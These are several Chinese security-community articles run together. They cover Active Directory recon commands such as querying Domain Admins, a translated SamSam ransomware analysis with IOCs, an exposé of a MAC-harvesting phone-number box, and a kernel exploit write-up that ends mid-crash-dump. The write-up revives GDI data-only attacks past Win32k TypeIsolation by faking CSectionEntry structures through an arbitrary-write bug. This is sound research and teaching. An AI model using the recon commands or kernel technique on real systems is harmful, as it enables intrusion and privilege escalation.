dsquery computer domainroot –name *-xp –limit 10 ----- 搜索域内以-xp结尾的机器10台
dsquery user domainroot –name admin* -limit ---- 搜索域内以admin开头的用户10个
### 查询域管理员
可以通过如下命令，查看当前域管理员信息：
net group "Domain Admins" /domain
### 获取域SID信息
whoami /all
可看到，当前域hacke的SID为S-1-5-21-180313546-3823935851-3686928739，域用户testuser的SID为
S-1-5-21-180313546-3823935851-3686928739-1106.
### 查询当前权限
本地普通用户：当前权限为 win-2008 本机的 user 用户
本地管理员用户：当前权限为 win7-x64-test 本机的 administrator用户
域内用户：当前权限为hacke域内的 administrator用户
## 相关工具
PowerSploit: <https://github.com/PowerShellMafia/PowerSploit>
Nishang： <https://github.com/samratashok/nishang>
Metasploit: <https://github.com/rapid7/metasploit-framework>
Empire：<https://github.com/EmpireProject/Empire>
PowerTools: <https://github.com/PowerShellEmpire/PowerTools>
## Github项目
推两个Gith项目：
项目地址：<https://github.com/Al1ex/CSPlugins>
项目介绍：主要收集常用的CS好用的插件，涉及提权、漏洞利用、横向移动、信息收集、免杀等等
项目地址：<https://github.com/Al1ex/Pentest-tools>
项目介绍：主要收集一些内网渗透测试中常用到的工具
## 文末小结
当然，渗透测试中的信息收集也不仅限于上面的这几点，而且实战中的信息收集广度和深度还会更加深，本文算是抛砖引玉了~ | 社区文章 |
# 4周勒索逾32.5万美元后，SamSam 仍在继续演进
##### 译文声明
本文是翻译文章，文章原作者 Vitor Ventura，文章来源：blog.talosintelligence.com
原文地址：<http://blog.talosintelligence.com/2018/01/samsam-evolution-continues-netting-over.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 引言
思科 Talos 团队一直和思科 IR 服务部门一起研究我们认为是勒索软件 SamSam 的一个新变体。经观测，SamSam
已出现在多个行业中如政府、医疗和工控系统。这些攻击看似并不具备高度针对性，其本质似乎更倾向于投机性。
从 SamSam
的被害人学上来看，它的影响不仅存在于商业世界，还对人产生影响，尤其是当我们考虑到医疗行业时更是如此。虽说非紧急手术总是可以重新安排，但如果某些病患的就诊历史和之前接受的医治状况非常重要的话，那么SamSam
产生的而影响就更加严重。另外，很多重要的救生医疗设备如今都被高度计算机化，勒索软件能够影响这些设备的操作，导致医疗人员难以用这些设备进行诊断并为病患看病，从而导致出现潜在的威胁生命的状况。结果，需要实施紧急操作的设备可能会因为操作该设备的计算机的无法使用而无法使用。
目前，这些攻击的初始感染向量尚不明确，Talos 正在对此展开调查。SamSam
的历史表明，攻击者可能按照此前利用一台主机随后在目标环境中横向位移的操作方式来植入并运行 SamSam 勒索软件。此前，我们从2016年发生的 SamSam
攻击中发现易受攻击的 JBoss 主机遭攻击。尽管这个新变体的感染向量尚未得到证实，但有可能被攻陷的 RDP/VNC
服务器在为攻击者首次站稳脚跟的过程中发挥了作用。
SamSam 新变体和老旧版本之间所使用的机密机制并无差别。然而，这次攻击者添加了一些字符串混淆并改进了反分析技术，导致检测和分析更加困难。
新变体是通过解密并执行一个加密勒索软件 payload 的加载器部署的，而这个加载器/payload 模型是对 SamSam
所使用的反取证方法的改进。包含这个加载器机制的样本早在2017年10月就已出现。通过监控位于
1MddNhqRCJe825ywjdbjbAQpstWBpKHmFR 的钱包，我们发现SamSam
在这轮攻击中所使用的钱包由多名受感染受害者共享。我们还证实了这个钱包收到的第一笔勒索金的时间是在2017年12月25日，对于攻击者而言真是不错的节日礼物。这一点可通过观察[此处比特币区块链](https://blockchain.info/tx/6277cc9899d241f4d4b4eaca0285086d1ad028839ee0368800f45786e472230d)上的第一笔钱包交易获悉。有可能攻击者还使用了其它比特币钱包，不过目前
Talos 并未发现其它钱包的迹象。
我们认为和此前的变体一样，这个新变体的部署是高度手动化的，也就是说攻击者可能手动执行了 SamSam。每个文件的对称密钥随机生成。Tor
洋葱服务和比特币钱包地址被硬编码到 payload，而公钥存储在扩展为 .keyxml 的一个外部文件中。
另外，分析代码后我们并未发现联系 Tor 服务地址的任何自动化机制，这说明通过关联 RSA
私钥的受害者肯定或者是通过手动完成的，或者是由另外一款攻击工具实现的。
多数勒索软件都试图说服受影响用户称他们有能力在收到款项后解密数据。SamSam
也不例外，甚至还显示了如上截图中的免责声明，表示，“我们不想损失我们的可靠性，我们是‘诚实的’。”
为此，攻击者免费解密两份文件并提供额外的免费密钥解密一个服务器。SamSam
再次展示了监控并在网络中横向位移的能力，指出如果他们认为服务器是不重要的基础设施则仅提供一个密钥。和 SamSam
之前的版本一致，他们也建议可通过网站联系攻击者。
## 使用加载器机制 “runner”
攻击者已更改了部署方法论，现在他们使用的加载器机制 “runner” 来执行 payload。执行时，这个加载器会在执行目录中查找后缀为 .stubbin
的文件，这个文件包含 SamSam 加密的 .NET Assembly payload。读取文件时，加载器会解密并执行这个密码是第一个参数的
payload，然后传递剩余参数。
这个加载器是一个没有混淆的非常简单的 .NET 组件。对比初始化向量 (IV) 和代码结构，它似乎源于 Codeproject.com 网站上贴的一个例子。
从如下图片中可看出，Rijndael 加密中使用的 IV 和两个实现（鉴于反编译实现的不同，分别用十六进制和十进制表示 “配置代码 (posted
code)” 和 “逆向代码 (reversed code)”）中的 IV 一样。
从代码层尤其是从函数 “Decrypt” 中来看，显然 Codeproject 来源和最新的 SamSam runner
样本中的代码结构是一样的（配置代码中的注释已删除。）
****
## Payload
SamSam 此前的版本通过AES
加密字符串对恶意软件代码进行了混淆。这个新变体也具有混淆函数、类名称和字符串，其中包括目标文本扩展的列表、“帮助”文件内容和环境变量，这次使用的 DES
加密带有固定的硬编码密钥和 IV。
攻击者再次采取措施阻止恶意软件样本本身的取证恢复，而不仅仅是依靠混淆运行恶意代码，这样我们得以逆向该样本。
如此前所述，解密这个 payload 的密码作为一个参数被传递给加载器，从而减少了获取 payload 进行分析的几率。
SamSam 此前的版本同样也通过启动一个等待1秒才能从硬盘中自我删除的线程，导致难以访问 payload。
新旧样本之间主要加密例程的对比表明，这个版本的 SamSam 很可能属于同样的恶意软件家族。
虽然此前的 SamSam 版本通过 API 调用 DriveInfo.GetDrives()
来获取可用驱动的列表，但这个新版本将驱动字母硬编码。检查驱动准备好后，它会开始从非黑名单上的文件夹路径搜索目标文件。
这个新变体和此前的一些版本具有同样的目标文件扩展列表。它在不开展加密的路径列表中增加了一些新条目，其中包括用户资料 “All
Users”、”default” 和启动目录。
这种做法和多数试图维持受害者机器操作性的勒索软件一致。如果设备操作遭损坏导致系统无法启动，那么受害者无法付款，然而，如果机器能够运作，只是文件/文件夹的访问权限有限，那么受害者付款以恢复重要文件和文档的意愿就大多了。
和此前的 SamSam 变体一样，这个新变体在确保当前硬盘具有足够大的空间以便创建加密文档方面十分小心，从而避免发生损坏导致加密不可恢复情况的出现。
和多数勒索软件不同，SamSam 并没有删除 Volume Shadow Copies，而是创建了原始文件的加密版本，随后该版本通过常规的 Windows
API 得以删除。尽管如此，由于代码块覆写的原因，可能能够从由操作系统保存的受影响文件夹版本中恢复原始文件。
##
## 利润
Talos 团队在识别 SamSam
攻击范围的过程中分析了攻击者在每次攻击中所使用的比特币地址。截止本文发稿前，攻击者已收到约30.4个比特币，折合325,217.07
美元。如此前所述，可能攻击者使用了多个比特币钱包，然而，Talos 团队并未发现除此处所列的地址之外的其它地址。
****
## 建议
鉴于目前尚不知晓具体的初始威胁向量，组织机构应该部署最佳实践以降低风险。Talos
团队已在[此前的博客文章](http://blog.talosintelligence.com/2017/08/worm-defense.html)中列出多种抵御和勒索软件相关威胁的最佳实践。根据最佳实践的要求，SMB 或 RDP 等协议不应面向互联网。
## IOCS
* 多个SHA256
* 比特币钱包
1MddNhqRCJe825ywjdbjbAQpstWBpKHmFR
* Tor 洋葱服务
jcmi5n4c3mvgtyt5.onion
* 参考
<https://www.codeproject.com/kb/security/dotnetcrypto.aspx?msg=1790665>
* 检测
Snort 规则：45484-45486
**端点的** **AMP** **：确保启用** **TETRA** **引擎和** **‘** **Command Line Capture**
**’** **，客户端版本是** **v6.05+** **。** | 社区文章 |
# 轻松获取你的手机号，这个盒子正在销往全国各地
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
如果有一个盒子，只要你在它百米之内，就能直接获取你的手机号，你害不害怕？
最近一则新闻“一个盒子就能获取任意的手机号”被媒体报道出来，新闻提到，长沙一家公司正在售卖一个智能盒子，只要手机打开WIFI,在这个盒子周围100米范围内，任意手机号都可以被轻松获取。
今天，妮美就带大家一起来了解下这个黑科技（产）盒子。
本以为已被新闻报道，再加上涉及贩卖公民隐私，查询时应该会费番周折，甚至怀疑这公司可能已经被警方端掉了。可没想到的是，输入这家公司名字后，第一个出来的就是它的官网，还做了百度推广。
官网的装修也颇为用心，还在发展全国代理商，这高调作派不像一般搞黑产的。
官网页面下方模糊地展示着各种商标注册证书，一副正经生意的模样。
要是没有看到数据收集栏的“线下真实场景，采集Mac地址，无感采集技术”内容，我都快要怀疑自己进错了网站。
总之，浏览完官网后，我对这家公司的兴趣进一步增加了。
## 1、智能盒子的真面目
从官网看，这家公司经营的主要产品是“70度大数据营销平台”，具体如下：
介绍中的数据挖掘、app定向等词让产品非常高端、耀眼，可跟智能盒子的关系却一点看不出来。为了解更多内容，我以业务需求为由，联系了该公司业务员。
业务员告诉我，该公司的主要产品就是智能盒子，官网上面的宣传内容都是基于盒子的营销服务。之后给我介绍了智能盒子的相关信息。
### —–智能盒子是什么
智能盒子鼠标大小，可随身携带，连接Wi-Fi和移动电源就能使用，主要用来搜集mac地址。
在运行中的智能盒子
### —–智能盒子的使用
该业务员对我讲到，只要手机使用者打开WIFI功能或者数据流量，都能够通过“智能盒子”采集到该手机的mac地址，之后通过后期技术手段进而分析出该mac地址所对应的手机号码。
### —–智能盒子的市场需求
有了客户手机号码，可以运作的内容就很多了，比如给客户发信息，打推广电话，发送广告推送，开展各种营销活动。
正在装箱打包的盒子
介绍完之后，他力邀我到他们的公司实地考察，测试，并希望发展我成为区域代理，不难看出，他对自己公司的产品和未来还是相当自信。
##
## 2、背后技术原理
仅仅只是带手机在外面逛了一圈，还来不及施展任何操作，信息就已经暴露了。相信大家心里免不了有一丝慌张，也一定好奇，这个小小的“智能盒子”究竟是怎么实现他的这些功能的？我们一起来看看。
### 第一步：用盒子获取mac地址
mac地址：手机mac地址就是手机网卡地址，是唯一的，换句话说，就是手机的身份证号。
只要你打开Wi-Fi，你的设备自己就在广播mac地址，这是Wi-Fi协议802.11规定，而智能盒子就是一个WIFI探针，实现这个成本极低。
至于通过数据流量获取mac地址，因为伪基站涉嫌违法，所以他们的业务员一再否认没有伪基站，但打开流量就能获取mac地址，除了基站还舍谁呢。伪基站我们已介绍过，此处不再过多解释。
### 第二步：Mac地址匹配手机号码
拿到mac地址后，又如何获得使用者的手机号码，官网的一句话解释是自建数据库资源匹配。那问题来了，自建的数据库是从哪里得来数据呢？可能性最大的数据来源有两种：
一是运营商的信息泄漏。运营商会记录每个用户的mac地址,在有需要的时候查询，他们当然也知道你的手机号，因此他们是最完备的数据来源。
二是app信息泄漏。现在app基本都是用手机号注册，下载之后，很多app都会默认获得你的mac地址。这些资源，除了我们已知的在暗网上面售卖的各种明码实价的信息，还有众多的内部信息泄漏渠道。
### 第三步：利用手机号作用户画像
有了用户的手机号码，就可以拿着这些号码去尝试注册各种网站，只要提示已注册，那么你就是这个网站的受众，再给你打上母婴、英语这些特征标签，完成人物画像。这也是“REG007”（查找你注册过什么）这些网站的原理。
**REG007网站**
在REG007搜索任意手机号
经过这么一分析，我们就不难发现在用智能盒子搜集mac地址的背后就是集合拖库、洗库、撞库三部曲的一条信息贩卖链。只是这个案例中，通过线下采集，精准收集了人物的位置信息。
## 3、“正规”生意？
“智能盒子”与一般黑产手段最大的不同点就在于，用户手机号码是加密给到客户的。
“我们不会给你完整的手机号码，你只是有一个加密的联系方式”，业务员小哥对我着重强调到，“给你完整的号码涉嫌侵犯用户隐私是违法的。”
只要加密就不涉及违法，这便是他们如今企业化、规模化的底气所在。
若真如他所说，这个设置实在是妙。从市场角度看，没有给出客户信息就可以保证商家持续的依赖企业，另一方面又能钻法律的空子，一举两得。
公民信息被如此大规模侵犯，真的不涉及违法吗？
侵害隐私权的定义：以非法方式公开，知悉，收集和刺探，利用他的个人隐私，信息或者活动的空间范围。
为此我咨询了相关法律人士，有两种不同观点：
一方认为确实不算侵犯隐私权。侵害隐私权是只针对特定人。售卖加密的联系方式，行为实施时受害人并不具体化，不能以侵害具体隐私权论。
另一方认为应该界定为侵犯个人的隐私。加密的联系方式既然能直接联系到个人，那么它也就具备了一些个人信息的意味。同一个加密信息，只对应一个人，有特定性。
长期服务于网络安全领域的王律师告诉我：此案例处在灰色地带，国内个人数据保护立法还尚需完善，很难判别是否违法。
但欧盟GDPR《通用数据保护条例》可以参考。该条例明确表示个人信息数据（包括个人隐私数据）在内的搜集与处理都要获得用户授权，且在授权的目的范围内，应尽可能少地搜集用户数据。此案中，盒子搜集的信息，是否界定为隐私数据并不影响其就是个人信息数据的事实，是必然违反GDPR的规定。
听完王律的解释后，我感到十分无力，现在这个盒子还只是被用在市场营销上，但若是不能将其尽快遏制，被一些不法之徒用在其它途径，比如给周围人发送藏有监控木马的短信，基于地理位置精准的电信诈骗，又将会造成多大的安全威胁。况且，加密的手机号是可以被破解的。
———————————————————————–
售卖加密手机号是否违法，目前还尚有争议。且单就mac地址泄漏而言，是用户为了连接网络主动开启数据流量/Wi-Fi的，因此泄漏的风险是无法规避的。
从网络诞生以来，用户一直都在隐私和服务之间权衡。得到有价值的服务，注定要承担受到骚扰和其它损失的可能威胁，网络世界是无法保证个人信息绝对安全。
而面对这些灰色、黑色的擦边球区域，法律界定必须越来越细致。所幸的是，除了现行的隐私权保护条例，国内专门针对保护个人信息的法律《个人信息保护法》，已在制订中，将进一步为我们捍卫隐私信息权提供武器。
最后，提醒下各位，以后若是在周围看到白色的小盒子，还请注意关机。
更多网络黑产内容揭秘，情关注公众号“极验”。 | 社区文章 |
# Save and Reborn GDI data-only attack from Win32k TypeIsolation
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：k0shl from 360vulcan team
作者twitter：[@KeyZ3r0](https://twitter.com/KeyZ3r0)
作者微博：[@我叫0day谁找我_](https://weibo.com/p/1005055342666404)
## 一、背景
近年来，在内核漏洞利用中利用GDI object来完成任意地址R/W的方法越来越成熟，在池溢出（pool overflow），任意地址写（arbitrary
write），越界写（oob write），释放后重用（uaf），二次释放（double free）等很多漏洞类型的场景中，都可以利用GDI
object来完成任意地址读写，我们称为GDI data-only attack。
微软在Windows 10 build 1709版本之后引入了win32k类型隔离用来缓解GDI
object这种利用方式，我在对win32kbase.sys关于typeisolation实现的逆向工程中发现了微软在设计类型隔离这种缓解措施时的一处失误，导致在某些常见漏洞场景中仍然可以利用GDI
object完成data-only exploitation，在本文中，我将与大家分享这个新的攻击方案思路。
**调试环境：**
**OS:**
Windows 10 rs3 16299.371
**FILE:**
Win32kbase.sys 10.0.16299.371
## 二、GDI data-only attack
GDI data-only attack是当前内核漏洞利用中比较常见的利用手段之一，利用常见的漏洞场景修改GDI
object的某些特定成员变量，就可以使用win32k中管理GDI的API完成任意地址读写。目前，在GDI data-only
attack中常用的两个GDI object是Bitmap以及Palette，关于Bitmap一个重要的结构是
typedef struct _SURFOBJ {
DHSURF dhsurf;
HSURF hsurf;
DHPDEV dhpdev;
HDEV hdev;
SIZEL sizlBitmap;
ULONG cjBits;
PVOID pvBits;
PVOID pvScan0;
LONG lDelta;
ULONG iUniq;
ULONG iBitmapFormat;
USHORT iType;
USHORT fjBitmap;
} SURFOBJ, *PSURFOBJ;
Palette一个重要的结构是：
typedef struct _PALETTE64
{
BASEOBJECT64 BaseObject;
FLONG flPal;
ULONG32 cEntries;
ULONG32 ulTime;
HDC hdcHead;
ULONG64 hSelected;
ULONG64 cRefhpal;
ULONG64 cRefRegular;
ULONG64 ptransFore;
ULONG64 ptransCurrent;
ULONG64 ptransOld;
ULONG32 unk_038;
ULONG64 pfnGetNearest;
ULONG64 pfnGetMatch;
ULONG64 ulRGBTime;
ULONG64 pRGBXlate;
PALETTEENTRY *pFirstColor;
struct _PALETTE *ppalThis;
PALETTEENTRY apalColors[3];
}
在Bitmap和Palette的内核结构中，和GDI data-only
attack相关的两个重要成员变量是Bitmap->pvScan0和Palette->pFirstColor。这两个成员变量指向Bitmap和Palette的data域，可以通过GDI
API向data域读取或写入数据，只要我们通过触发漏洞修改这两个成员变量指向任意内存地址，就可以通过GetBitmapBits/SetBitmapBits或GetPaletteEntries/SetPaletteEntries完成对指向任意内存地址写入和读取，也就是任意地址读写。
关于利用Bitmap和Palette来完成GDI data-only
attack现在网上已经有很多相关的技术文章，同时也不是本文的讨论重点，这里就不做更深入的分享，相关的资料可以参考第五部分。
## 三、Win32k TypeIsolation
GDI data-only attack这种利用方式大大降低了内核利用的难度，且在大多数常见漏洞类型的场景中都可以应用，微软在Windows10 rs3
build 1709之后增加了一个新的缓解机制—-win32k typeisolation，通过一个双向链表将GDI object统一管理起来，同时将GDI
object的头部与data域分离，这样不仅仅缓解了利用pool fengshui制造可预测池再使用GDI
object进行占位并修改关键成员变量这种利用技术，同时也缓解了通过修改头部其他成员变量来增大data域可控范围这种利用技术，因为头部与data域部分不再相邻。
关于win32k typeisolation的机制可参考下图：
在这里我对win32k typeisolation的机制关键部分进行简要说明，关于win32k typeisolation的详细运行机制，包括GDI
object的申请，分配，释放等可参考第五部分。
在win32k typeisolation中，GDI
object通过CSectionEntry这个双向链表进行统一管理，其中view域指向一个0x28000大小的内存空间，而GDI
object的头部在这里统一被管理，view域以view数组的方式管理，数组大小是0x1000。而在对GDI
object的分配时RTL_BITMAP会作为是否向指定view域位置分配GDI object的重要依据。
在CSectionEntry中，bitmap_allocator指向CSectionBitmapAllocator，在CSectionBitmapAllocator中存放的xored_view，xor_key，xored_rtl_bitmap，其中xored_view
^ xor_key指向view域，xored_rtl_btimap ^ xor_key指向RTL_BITMAP。
在RTL_BITMAP中bitmap_buffer_ptr指向的BitmapBuffer用于记录view域的状态，空闲为0，占位为1。当申请GDI
object的时候，会通过win32kbase!gpTypeIsolation开始遍历CSectionEntry列表，通过对CSectionBitmapAllocator查看是否当前view域包含空闲位置，如果存在空闲位则会将新的GDI
object header放置在view域中。
我对CTypeIsolation类和CSectionEntry类关于对GDI
object申请和释放实现的逆向中发现，TypeIsolation在对CSectionEntry双向链表遍历，利用CSectionBitmapAllocator判断view域状态，并对view域中存放的GDI
object
SURFACE进行管理的过程中，并没有检查CSectionEntry->view和CSectionEntry->bitmap_allocator指针指向的有效性，也就是说如果我们能够构造一个fake
view和fake
bitmap_allocator并能够利用漏洞修改CSectionEntry->view和CSectionEntry->bitmap_allocator使其指向fake
struct，则我们可以重新利用GDI object完成data-only attack。
## 四、Save and reborn gdi data-only attack！
在本节中我来和大家分享一下这种攻击方案的利用思路，HEVD是Hacksysteam开发的一个存在典型内核漏洞的练习驱动，在HEVD中存在一个任意地址（Arbitrary
Write）漏洞，我们就以这个漏洞为例来和大家分享整个利用过程。
**Attack scenario：**
首先来看一下CSectionEntry的申请，CSectionEntry会申请0x40大小的session paged
pool，CSectionEntry申请池空间的实现在NSInstrumentation::CSectionEntry::Create()中。
.text:00000001C002AC8A mov edx, 20h ; NumberOfBytes
.text:00000001C002AC8F mov r8d, 6F736955h ; Tag
.text:00000001C002AC95 lea ecx, [rdx+1] ; PoolType
.text:00000001C002AC98 call cs:__imp_ExAllocatePoolWithTag //Allocate 0x40 session paged pool
也就是说，我们仍然可以通过pool fengshui来制造一个可预测的session paged pool
hole用来给CSectionEntry占位，因此在HEVD这个Arbitrary
write的漏洞利用场景中，我们使用tagWND的方法制造一个稳定的pool
hole，并且利用[HMValidateHandle](https://github.com/sam-b/windows_kernel_address_leaks/blob/master/HMValidateHandle/HMValidateHandle/HMValidateHandle.cpp)泄露tagWND内核对象地址。因为当前漏洞实例是一个任意地址写漏洞，因此如果我们能泄露内核对象地址便于我们对这个攻击方案思路的理解，当然在很多攻击场景中只需要利用pool
fengshui制造一个可预测池即可。
kd> g//利用tagWND制造一个稳定的pool hole
Break instruction exception - code 80000003 (first chance)
0033:00007ff6`89a61829 cc int 3
kd> p
0033:00007ff6`89a6182a 488b842410010000 mov rax,qword ptr [rsp+110h]
kd> p
0033:00007ff6`89a61832 4839842400010000 cmp qword ptr [rsp+100h],rax
kd> r rax
rax=ffff862e827ca220
kd> !pool ffff862e827ca220
Pool page ffff862e827ca220 region is Unknown
ffff862e827ca000 size: 150 previous size: 0 (Allocated) Gh04
ffff862e827ca150 size: 10 previous size: 150 (Free) Free
ffff862e827ca160 size: b0 previous size: 10 (Free ) Uscu
*ffff862e827ca210 size: 40 previous size: b0 (Allocated) *Ustx Process: ffffd40acb28c580
Pooltag Ustx : USERTAG_TEXT, Binary : win32k!NtUserDrawCaptionTemp
ffff862e827ca250 size: e0 previous size: 40 (Allocated) Gla8
ffff862e827ca330 size: e0 previous size: e0 (Allocated) Gla8```
在0xffff862e827ca220制造了一个稳定的session paged pool
hole，0xffff862e827ca220会在之后释放，处于free状态。
kd> p
0033:00007ff7`abc21787 488b842498000000 mov rax,qword ptr [rsp+98h]
kd> p
0033:00007ff7`abc2178f 48398424a0000000 cmp qword ptr [rsp+0A0h],rax
kd> !pool ffff862e827ca220
Pool page ffff862e827ca220 region is Unknown
ffff862e827ca000 size: 150 previous size: 0 (Allocated) Gh04
ffff862e827ca150 size: 10 previous size: 150 (Free) Free
ffff862e827ca160 size: b0 previous size: 10 (Free ) Uscu
*ffff862e827ca210 size: 40 previous size: b0 (Free ) *Ustx
Pooltag Ustx : USERTAG_TEXT, Binary : win32k!NtUserDrawCaptionTemp
ffff862e827ca250 size: e0 previous size: 40 (Allocated) Gla8
ffff862e827ca330 size: e0 previous size: e0 (Allocated) Gla8
下面我们需要令CSecitionEntry在0xffff862e827ca220位置占位，这就需要利用TypeIsolation的一个特性，正如第二节我们提到的，在GDI
object对象申请时，会遍历CSectionEntry，并通过CSectionBitmapAllocator判断view域中是否有空闲位，如果CSectionEntry的view域已满，则会到下一个CSectionEntry中继续查询，但如果当前的CTypeIsolation双向链表中，所有的CSectionEntry的view域全都被占满，则会调用NSInstrumentation::CSectionEntry::Create()创建一个新的CSectionEntry。
因此，我们在制造完pool hole之后申请大量的GDI
object，用来占满所有CSectionEntry的view域，以确保创建新的CSectionEntry，并且占用0x40大小的pool hole。
kd> g//创建大量的GDI object， 0xffff862e827ca220位置被CSectionEntry占位
kd> !pool ffff862e827ca220
Pool page ffff862e827ca220 region is Unknown
ffff862e827ca000 size: 150 previous size: 0 (Allocated) Gh04
ffff862e827ca150 size: 10 previous size: 150 (Free) Free
ffff862e827ca160 size: b0 previous size: 10 (Free ) Uscu
*ffff862e827ca210 size: 40 previous size: b0 (Allocated) *Uiso
Pooltag Uiso : USERTAG_ISOHEAP, Binary : win32k!TypeIsolation::Create
ffff862e827ca250 size: e0 previous size: 40 (Allocated) Gla8 ffff86b442563150 size:
接下来我们需要构造fake CSectionEntry->view和fake
CSectionEntry->bitmap_allocator，并且利用Arbitrary Write修改session paged pool
hole中的CSectionEntry中的指针，使其指向我们构造的fake struct。
在我们申请大量GDI object的时候建立的新的CSectionEntry的view域中可能已经被SURFACE占满或占据了一部分，如果我们构造fake
struct的时候将view域构造成空，那么就可以欺骗TypeIsolation，在GDI object申请的时候会将SURFACE放在已知位置。
我们通过VirtualAllocEx在userspace申请内存存放fake struct，并且我们将userspace
memory属性置成READWRITE。
kd> dq 1e0000//fake pushlock
00000000`001e0000 00000000`00000000 00000000`0000006c
kd> dq 1f0000//fake view
00000000`001f0000 00000000`00000000 00000000`00000000
00000000`001f0010 00000000`00000000 00000000`00000000
kd> dq 190000//fake RTL_BITMAP
00000000`00190000 00000000`000000f0 00000000`00190010
00000000`00190010 00000000`00000000 00000000`00000000
kd> dq 1c0000//fake CSectionBitmapAllocator
00000000`001c0000 00000000`001e0000 deadbeef`deb2b33f
00000000`001c0010 deadbeef`deadb33f deadbeef`deb4b33f
00000000`001c0020 00000001`00000001 00000001`00000000
其中，0x1f0000指向view域，0x1c0000指向CSectionBitmapAllocator，fake view域将用于存放GDI
object，而CSectionBitmapAllocator中的结构需要精心构造，因为我们需要通过它来欺骗typeisolation认为我们可控的CSectionEntry是个空闲view项。
typedef struct _CSECTIONBITMAPALLOCATOR {
PVOID pushlock; // + 0x00
ULONG64 xored_view; // + 0x08
ULONG64 xor_key; // + 0x10
ULONG64 xored_rtl_bitmap; // + 0x18
ULONG bitmap_hint_index; // + 0x20
ULONG num_commited_views; // + 0x24
} CSECTIONBITMAPALLOCATOR, *PCSECTIONBITMAPALLOCATOR;
上述CSectionBitmapAllocator结构和0x1c0000处的结构对照，其中xor_key我定义为0xdeadbeefdeadb33f，只要保证xor_key
^ xor_view和xor_key ^
xor_rtl_bitmap运算之后指向view域和RTL_BITMAP即可，在调试的过程中我发现pushlock必须是指向有效结构的指针，否则会触发BUGCHECK，因此我申请了0x1e0000用于存放pushlock的内容。
如第二节所述，bitmap_hint_index会作为快速查找RTL_BITMAP的条件，因此这个值也需要置为空值表示RTL_BITMAP的状态。同理我们来看一下RTL_BITMAP的结构。
typedef struct _RTL_BITMAP {
ULONG64 size; // + 0x00
PVOID bitmap_buffer; // + 0x08
} RTL_BITMAP, *PRTL_BITMAP;
kd> dyb fffff322401b90b0
76543210 76543210 76543210 76543210
-------- -------- -------- --------
fffff322`401b90b0 11110000 00000000 00000000 00000000 f0 00 00 00
fffff322`401b90b4 00000000 00000000 00000000 00000000 00 00 00 00
fffff322`401b90b8 11000000 10010000 00011011 01000000 c0 90 1b 40
fffff322`401b90bc 00100010 11110011 11111111 11111111 22 f3 ff ff
fffff322`401b90c0 11111111 11111111 11111111 11111111 ff ff ff ff
fffff322`401b90c4 11111111 11111111 11111111 11111111 ff ff ff ff
fffff322`401b90c8 11111111 11111111 11111111 11111111 ff ff ff ff
fffff322`401b90cc 11111111 11111111 11111111 11111111 ff ff ff ff
kd> dq fffff322401b90b0
fffff322`401b90b0 00000000`000000f0 fffff322`401b90c0//ptr to rtl_bitmap buffer
fffff322`401b90c0 ffffffff`ffffffff ffffffff`ffffffff
fffff322`401b90d0 ffffffff`ffffffff
这里我选取了一个有效的RTL_BITMAP作为模板，其中第一个成员变量表示RTL_BITMAP
size，第二个成员变量指向后面的bitmap_buffer，而紧邻的bitmap_buffer以比特为单位表示view域状态，我们为了欺骗typeisolation，将其全部置0，表示当前CSectionEntry项的view域全部空闲，参考0x190000
fake RTL_BITMAP结构。
接下来我们只需要通过HEVD的Arbitrary
write漏洞修改CSectionEntry中view和CSectionBitmapAllocator指针即可。
kd> dq ffff862e827ca220//正常时
ffff862e`827ca220 ffff862e`827cf4f0 ffff862e`827ef300
ffff862e`827ca230 ffffc383`08613880 ffff862e`84780000
ffff862e`827ca240 ffff862e`827f33c0 00000000`00000000
kd> g//触发漏洞后，CSectionEntry->view和CSectionEntry->bitmap_allocator被修改
Break instruction exception - code 80000003 (first chance)
0033:00007ff7`abc21e35 cc int 3
kd> dq ffff862e827ca220
ffff862e`827ca220 ffff862e`827cf4f0 ffff862e`827ef300
ffff862e`827ca230 ffffc383`08613880 00000000`001f0000
ffff862e`827ca240 00000000`001c0000 00000000`00000000
接下来我们正常申请一个GDI object，调用CreateBitmap创建一个bitmap object，然后观察view域的状态。
kd> g
Break instruction exception - code 80000003 (first chance)
0033:00007ff7`abc21ec8 cc int 3
kd> dq 1f0280
00000000`001f0280 00000000`00051a2e 00000000`00000000
00000000`001f0290 ffffd40a`cc9fd700 00000000`00000000
00000000`001f02a0 00000000`00051a2e 00000000`00000000
00000000`001f02b0 00000000`00000000 00000002`00000040
00000000`001f02c0 00000000`00000080 ffff862e`8277da30
00000000`001f02d0 ffff862e`8277da30 00003f02`00000040
00000000`001f02e0 00010000`00000003 00000000`00000000
00000000`001f02f0 00000000`04800200 00000000`00000000
可以看到bitmap的kernel object被放置在了fake view域中，我们可以直接从userspace读到bitmap的kernel
object，接下来，我们只需要直接通过修改userspace中存放的bitmap kernel
object的pvScan0，再通过GetBitmapBits/SetBitmapBits来完成任意地址读写。
总结一下整个利用过程：
**Fix for full exploit：**
在完成exploit的过程中，我发现了某些时候会产生BSOD，这大大降低了GDI data-only attack的稳定性，比如说
kd> !analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
SYSTEM_SERVICE_EXCEPTION (3b)
An exception happened while executing a system service routine.
Arguments:
Arg1: 00000000c0000005, Exception code that caused the bugcheck
Arg2: ffffd7d895bd9847, Address of the instruction which caused the bugcheck
Arg3: ffff8c8f89e98cf0, Address of the context record for the exception that caused the bugcheck
Arg4: 0000000000000000, zero.
Debugging Details:
------------------
OVERLAPPED_MODULE: Address regions for 'dxgmms1' and 'dump_storport.sys' overlap
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - 0x%08lx
FAULTING_IP:
win32kbase!NSInstrumentation::CTypeIsolation<163840,640>::AllocateType+47
ffffd7d8`95bd9847 488b1e mov rbx,qword ptr [rsi]
CONTEXT: ffff8c8f89e98cf0 -- (.cxr 0xffff8c8f89e98cf0)
.cxr 0xffff8c8f89e98cf0
rax=ffffdb0039e7c080 rbx=ffffd7a7424e4e00 rcx=ffffdb0039e7c080
rdx=ffffd7a7424e4e00 rsi=00000000001e0000 rdi=ffffd7a740000660
rip=ffffd7d895bd9847 rsp=ffff8c8f89e996e0 rbp=0000000000000000
r8=ffff8c8f89e996b8 r9=0000000000000001 r10=7ffffffffffffffc
r11=0000000000000027 r12=00000000000000ea r13=ffffd7a740000680
r14=ffffd7a7424dca70 r15=0000000000000027
iopl=0 nv up ei pl nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010206
